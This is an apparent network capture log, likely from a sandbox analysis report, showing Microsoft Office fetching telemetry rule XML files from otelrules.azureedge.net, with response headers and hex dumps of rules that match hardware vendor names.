2024-12-04 15:11:57 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 04 Dec 2024 15:11:57 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: dbf49064-101e-00a2-1bc6-459f2e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241204T151157Z-1746fd949bdlqd7fhC1EWR6vt000000001k000000000axpv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-04 15:11:57 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.12	49840	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:11:57 UTC	192	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-04 15:11:57 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 04 Dec 2024 15:11:57 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: c2908fd4-501e-00a0-4ac8-459d9f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241204T151157Z-1746fd949bdlqd7fhC1EWR6vt000000001m0000000007npc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-04 15:11:57 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.12	49837	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:11:58 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-04 15:11:58 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 04 Dec 2024 15:11:58 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: 4628c04c-d01e-0017-18cc-45b035000000 x-ms-version: 2018-03-28 x-azure-ref: 20241204T151158Z-1746fd949bd4w8sthC1EWR7004000000013000000000fabt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-04 15:11:58 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.12	49843	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:11:59 UTC	192	OUT	GET /rules/rule120616v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-04 15:12:00 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 04 Dec 2024 15:11:59 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB344914B" x-ms-request-id: c2a94a43-501e-00a0-7dd0-459d9f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241204T151159Z-1746fd949bdlqd7fhC1EWR6vt000000001f000000000k63c x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-04 15:12:00 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120616" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.12	49842	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:11:59 UTC	192	OUT	GET /rules/rule120615v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-04 15:12:00 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 04 Dec 2024 15:11:59 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBAD04B7B" x-ms-request-id: 2b878731-501e-008c-34ce-45cd39000000 x-ms-version: 2018-03-28 x-azure-ref: 20241204T151159Z-1746fd949bd7wvgbhC1EWR0rgs00000001f0000000008xgg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-04 15:12:00 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 53 73 5d 5b 55 75 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120615" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <SR T="2" R="([Aa][Ss][Uu][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.12	49844	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:11:59 UTC	192	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-04 15:12:00 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 04 Dec 2024 15:11:59 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: 6818e2c2-d01e-0065-16d2-45b77a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241204T151159Z-1746fd949bd7wvgbhC1EWR0rgs00000001cg00000000gxe9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-04 15:12:00 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.12	49845	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:11:59 UTC	192	OUT	GET /rules/rule120618v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-04 15:12:00 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 04 Dec 2024 15:11:59 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:30 GMT ETag: "0x8DC582B9018290B" x-ms-request-id: 6223bc78-401e-0015-38b6-450e8d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241204T151159Z-1746fd949bd54zxghC1EWRzre400000001q0000000008kck x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-04 15:12:00 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120618" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.12	49846	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:12:00 UTC	192	OUT	GET /rules/rule120619v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-04 15:12:00 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 04 Dec 2024 15:12:00 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:41 GMT ETag: "0x8DC582B9698189B" x-ms-request-id: 864f0b94-901e-00a0-42cc-456a6d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241204T151200Z-1746fd949bdkw94lhC1EWRxuz400000001gg00000000f13m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-04 15:12:00 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 43 63 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120619" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <SR T="2" R="([Aa][Cc][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.12	49847	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:12:01 UTC	192	OUT	GET /rules/rule120620v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-04 15:12:02 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 04 Dec 2024 15:12:02 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA701121" x-ms-request-id: b5189c33-801e-008c-34cb-457130000000 x-ms-version: 2018-03-28 x-azure-ref: 20241204T151202Z-1746fd949bd54zxghC1EWRzre400000001m000000000mb4r x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-04 15:12:02 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120620" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.12	49849	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:12:01 UTC	192	OUT	GET /rules/rule120622v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-04 15:12:02 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 04 Dec 2024 15:12:02 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8CEAC16" x-ms-request-id: de914170-201e-0000-68ad-45a537000000 x-ms-version: 2018-03-28 x-azure-ref: 20241204T151202Z-1746fd949bdb8xvchC1EWRmbd4000000016000000000sm1f x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-04 15:12:02 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120622" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.12	49848	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:12:01 UTC	192	OUT	GET /rules/rule120621v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-04 15:12:02 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 04 Dec 2024 15:12:02 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA41997E3" x-ms-request-id: 16655d81-601e-0084-07c4-456b3f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241204T151202Z-1746fd949bd2cq7chC1EWRnx9g000000011000000000awt3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-04 15:12:02 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 56 76 5d 5b 4d 6d 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120621" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <SR T="2" R="([Vv][Mm][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.12	49850	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:12:01 UTC	192	OUT	GET /rules/rule120623v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-04 15:12:02 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 04 Dec 2024 15:12:02 GMT Content-Type: text/xml Content-Length: 464 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97FB6C3C" x-ms-request-id: 431871c3-501e-0047-55cc-45ce6c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241204T151202Z-1746fd949bd6zq92hC1EWRry48000000017g00000000n998 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-04 15:12:02 UTC	464	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 49 69 5d 5b 47 67 5d 5b 41 61 5d 5b 42 62 5d 5b 59 79 5d 5b 54 74 5d 5b 45 65 5d 20 5b 54 74 5d 5b 45 65 5d 5b 43 63 5d 5b 48 68 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 47 67 5d 5b 59 79 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120623" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <SR T="2" R="([Gg][Ii][Gg][Aa][Bb][Yy][Tt][Ee] [Tt][Ee][Cc][Hh][Nn][Oo][Ll][Oo][Gg][Yy])"> <S T="1" F="1" M="Ignor

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.12	49851	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
